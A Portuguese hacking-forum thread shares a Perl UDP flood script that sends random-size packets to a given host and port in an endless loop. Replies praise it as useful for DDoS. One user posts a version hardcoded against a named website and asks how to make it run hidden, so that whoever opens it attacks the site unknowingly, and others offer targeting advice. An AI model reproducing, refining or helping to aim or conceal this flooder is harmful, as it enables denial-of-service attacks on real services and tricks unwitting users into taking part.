Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

UDP flood em Perl!!!

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Perl UDP flood em Perl!!!

    Código:
    #!/usr/bin/perl
    # udp
    #flooder.pl coded by c0unter
    print q{
    ===========================
    =            =                           
    =    Coded By        =
    =            =
    =    *c0unter*        =
    =                   
    ===========================
    };
    
    use io::socket;
    
    print "Host: ";
    chop ($host = <stdin>);
    print "Port: ";
    chop ($port = <stdin>);
    
    {
    $sock = IO::Socket::INET->new (
            PeerAddr => $host,
            PeerPort => $port,
            Proto => 'udp') || die "$! Make sure the IP/host or port number is correct";
    }
    packets:
    while (1) {
    $size = rand() * 999 * 99999;
    print ("$host:$port packet size: $size\n");
    send($sock, 0, $size);
    }
    Similar Threads

  • Font Size
    #2
    O código dele é bem interessante pra quem está começando a estudar sockets em perl, mas a utilidade do projeto em si não encontrei, o máximo que podem fazer com isso é tentar DDOs, mas tem alternativas bem melhores que essa.
    Em todo caso vlw pela source
    <<< ENGINEERING CODERZ - HACKING PROGRAMMING GROUP >>>
    msn/mail: azurus21@gmail.com

    Comment


    • Font Size
      #3
      Rodei ele aqui, ta bem simples, mais nada que uma implementada não ajude, ele verifica o host e as portas e envia pct para os servers, bastante muito bom para DDOS.

      Vou implementar ele, valew pelo post.

      Comment


      • Font Size
        #4
        Bom Post Estava Procurando o UDPFLOOD em PERL
        Código:
        Pra Que Levar A Vida Tao A Sério,Se A Vida E Uma Alucinante Aventura Da Quais Ja Mais Sairemos Vivos !

        Comment


        • Font Size
          #5
          Fiquei meio perdido =/
          Onde devo configurar para atacar o site Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... onde eu devo configurar?
          Substituir o <stdin> pelo endereço e o de baixo por uma porta qualquer?
          (Piada de nerd) - Você comprou o cu dele?
          - Sim, comprei, era super duro e bem feito! Esse metalúrgico é de confiança!
          (Piada by Kaao; inventei ela do nada '-')

          NÃO RESPONDO PERGUNTAS POR PM!

          Se quiser uma ajuda minha, me indique o tópico com a sua duvida.

          Comment


          • Font Size
            #6
            print "Host: ";
            chop ($host = <stdin>);
            print "Port: ";
            chop ($port = <stdin>);
            @kaao
            Quando você compila e executa o programa ele pergunta a você o HOST e a porta!
            <stdin> é uma variável nativa do perl que armazena o dado que você digitou para depois ser usado

            Quaisquer outras dúvidas, contate-me via MP.

            Comment


            • Font Size
              #7
              Mas eu pretendo fazer com que execute de forma oculta, para quem abrir nem notar que vai esta atacando um site.
              Então, basta eu fazer assim:
              chop ($host = Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
              chop ($port = 666);
              certo?

              Como não gosto de perguntar coisas do gênero por PM, perguntei aqui mesmo xD
              (Piada de nerd) - Você comprou o cu dele?
              - Sim, comprei, era super duro e bem feito! Esse metalúrgico é de confiança!
              (Piada by Kaao; inventei ela do nada '-')

              NÃO RESPONDO PERGUNTAS POR PM!

              Se quiser uma ajuda minha, me indique o tópico com a sua duvida.

              Comment


              • Font Size
                #8
                Recomendaria você utilizar o IP do site, ao invés do endereço!
                É só ir testando algumas maneiras que você encontra o algoritmo certo

                Comment


                • Font Size
                  #9
                  #!/usr/bin/perl
                  # udp
                  #flooder.pl coded by c0unter

                  use io::socket;

                  chop ($host = "http://www.openkorebrasil.tk");
                  chop ($port = 666);

                  {
                  $sock = IO::Socket::INET->new (
                  PeerAddr => $host,
                  PeerPort => $port,
                  Proto => 'udp') || die "$! Make sure the IP/host or port number is correct";
                  }
                  packets:
                  while (1) {
                  $size = rand() * 999 * 99999;
                  print ("$host:$port packet size: $size\n");
                  send($sock, 0, $size);
                  }
                  Por fim, ficou assim.
                  Como sei bem pouco perl e quando abro aparece a tela preta e depois fecha sozinha, não sei se realmente deu 100%
                  Nada de estranho? Posso lançar assim mesmo?
                  (Piada de nerd) - Você comprou o cu dele?
                  - Sim, comprei, era super duro e bem feito! Esse metalúrgico é de confiança!
                  (Piada by Kaao; inventei ela do nada '-')

                  NÃO RESPONDO PERGUNTAS POR PM!

                  Se quiser uma ajuda minha, me indique o tópico com a sua duvida.

                  Comment


                  • Font Size
                    #10
                    O código está com falhas. Ao executá-lo pelo CMD, dá o seguinte:
                    Invalid argument Make sure the IP/host or port number is correct at...

                    Tente rever o código ou postar uma dúvida na área de Perl.
                    P.S: A janela abria e fechava imediatamente porque você estava executando o script de primeira. Para rodar scripts em perl deve-se abrir o cmd, e executá-lo por lá mesmo.

                    Comment


                    • Font Size
                      #11
                      isso é pra linux ou xp?

                      Comment

                      X
                      Working...
                      X